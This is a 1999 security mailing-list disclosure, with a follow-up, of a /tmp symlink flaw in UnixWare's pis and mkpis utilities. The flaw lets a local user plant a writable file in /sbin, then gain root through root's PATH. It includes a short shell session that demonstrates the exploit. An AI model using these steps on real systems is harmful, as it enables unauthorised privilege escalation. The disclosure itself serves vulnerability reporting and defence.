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Re: UnixWare local pis exploit (mkpis as well)
From: btellier () USA NET (Brock Tellier)
Date: Wed, 29 Dec 1999 10:58:26 CST


As a bonus, /usr/local/bin/mkpis is vulnerable to the same /tmp symlink
problem.  It has the same permissions as pis.

-Brock

---
Brock Tellier <btellier () USA NET> wrote:
Greetings,

OVERVIEW 
A vulnerability in "/usr/local/bin/pis" on SCO UnixWare will allow any
user to create arbitrary files with group "sys" privileges.  A full root
compromise is then trivial.

BACKGROUND
As usual, I've only tested UnixWare 7.1.

DETAILS

By creating a symlink between /tmp/pisdata and any sys-owned file we can
overwrite that file with ps output.  If we point the symlink at a
non-existant file in a directory which we can write to (such as, say,
/sbin/ls), pis will create this file mode 666 owned by us, group of sys.  

This is a fairly simple compromise.  /sbin is writable by group sys.  We
can create files in /sbin owned by us.  And root's default $PATH starts
with /sbin.

EXPLOIT

bash-2.02$ ls -dal /sbin
drwxrwxr-x    2 root     sys            3072 Dec 28 08:18 /sbin
bash-2.02$ ln -s /sbin/xnec /tmp/pisdata
bash-2.02$ pis
<program output>
bash-2.02$ ls -la /sbin/xnec
-rw-rw-rw-    1 xnec     sys            5896 Dec 28 08:28 /sbin/xnec
bash-2.02$ 

Brock Tellier
UNIX Systems Administrator
Chicago, IL, USA
btellier () usa net

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